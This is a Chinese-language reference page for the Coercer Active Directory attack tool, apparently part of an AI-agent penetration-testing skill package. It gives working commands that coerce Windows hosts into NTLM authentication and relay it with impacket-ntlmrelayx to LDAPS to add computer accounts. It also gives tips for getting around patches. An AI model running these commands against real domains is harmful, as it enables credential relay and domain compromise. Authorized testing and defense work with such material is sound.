x-glacier/kali-pentest / kali-pentest-zh
kali-pentest-zh
Flagged通过 SSH 或 Docker 使用 Kali Linux CLI 工具执行授权渗透测试。 覆盖:信息收集、漏洞分析、嗅探与欺骗、Web/API 渗透、漏洞利用、密码攻击、无线、云原生安全、RFID/NFC、VoIP/ICS、逆向工程、取证分析、后渗透/C2、报告生成。
references/exploitation/tools/coercer.md
View on GitHub# Coercer
- **Category**: Exploitation / Active Directory Attacks
- **Risk Level**: 🔴 High
---
## 描述
使用 20 余种 MS-RPC 强制认证方法(PetitPotam、PrinterBug、DFSCoerce、ShadowCoerce 等)强制 Windows 主机向攻击者控制的服务器发起认证。捕获的 NTLM 认证可中继到 LDAP/LDAPS 以创建域管理员账户,或中继到 SMB 以执行远程代码。在 Active Directory 攻击中,这是发起 NTLM 中继攻击前的标准准备步骤。
## 安装
```bash
sudo apt install coercer
```
## 参数说明
| 参数 | 说明 |
|------|------|
| `scan` | 测试所有已知强制认证方法并报告哪些成功 |
| `coerce` | 通过所有已知有效方法触发强制认证 |
| `fuzz` | 使用一组利用路径测试每种方法 |
| `-u <user>` | 用于向远程机器认证的用户名 |
| `-p <pass>` | 密码 |
| `-d <domain>` | 域名 |
| `-t <target>` | 目标主机 IP 或主机名 |
| `-l <listener>` | 监听器机器的 IP 地址或主机名 |
| `--filter-method-name <name>` | 按指定的强制方法名称筛选 |
| `-v` | 详细输出 |
## 常用命令
```bash
# 扫描目标,查找哪些强制认证方法有效
coercer scan -u jdoe -p 'P@ssw0rd' -d corp.local -t 192.168.1.10
# 终端 1:启动 NTLM 中继监听器
impacket-ntlmrelayx -t ldaps://192.168.1.10 --add-computer
# 终端 2:触发强制认证(指向攻击者 IP)
coercer coerce -u jdoe -p 'P@ssw0rd' -d corp.local -t 192.168.1.20 -l 192.168.1.100
# 仅使用 PetitPotam 方法
coercer coerce --filter-method-name PetitPotam -u jdoe -p 'P@ssw0rd' -d corp.local -t 192.168.1.20 -l 192.168.1.100
```
## 注意事项
1. Coercer 需要有效的低权限域凭据才能访问 RPC 端点——匿名强制认证已在较新版本 Windows 中被修补。
2. 始终配合 `impacket-ntlmrelayx` 针对 LDAPS 使用,以最大化中继捕获哈希的影响(如创建计算机账户用于基于资源的约束委派)。
3. PetitPotam 经常被补丁阻止;拥有 20 余种方法意味着仍可对已打补丁的系统使用其他替代方法。
4. `scan` 模式会在使用 `coerce` 之前揭示哪些方法有效——应优先使用它以避免不必要的噪音。
5. 强制认证需要目标上启用 NTLM——它强制目标通过 NTLM 发起认证,再由攻击者中继。若 NTLM 被完全禁用,强制认证将无法产生可用的认证凭据。
---
## 官方参考
- [Coercer (GitHub)](https://github.com/p0dalirius/Coercer)
- [Kali coercer](https://www.kali.org/tools/coercer/)
Related skills
| Skill | Stars | Updated | Works with | Status | Install |
|---|---|---|---|---|---|
| rea-analysis-optimizationmorluto/reaOptimize REA providers and shared analysis workflows for agent context, latency, CPU, and memory while preserving correctness and Evidence. Use for analysis bottlenecks and cache or query design; CI/test-suite optimization belongs to rea-ci-tests-audit. | Stars: 472k | Updated | Claude CodeCodex | Verified | Install |
| rea-ci-tests-auditmorluto/reaAudit REA CI and test suites for correctness, fixture drift, false passes, and measured performance; use for suite or workflow investigations and efficiency changes, rather than ordinary feature testing or a single test failure. | Stars: 472k | Updated | Claude CodeCodex | Verified | Install |
| rea-tool-designmorluto/reaAudit, investigate, design, or change REA investigation tools, CLI/MCP contracts, provider capabilities, and Evidence semantics. | Stars: 472k | Updated | Claude CodeCodex | Verified | Install |
| ponytail-auditDietrichGebert/ponytailQuality audit of the whole repo: bugs, security, real load, missing tests, speed, and what to delete. Most important first. | Stars: 194k | Updated | Claude CodeCodex | Verified | Install |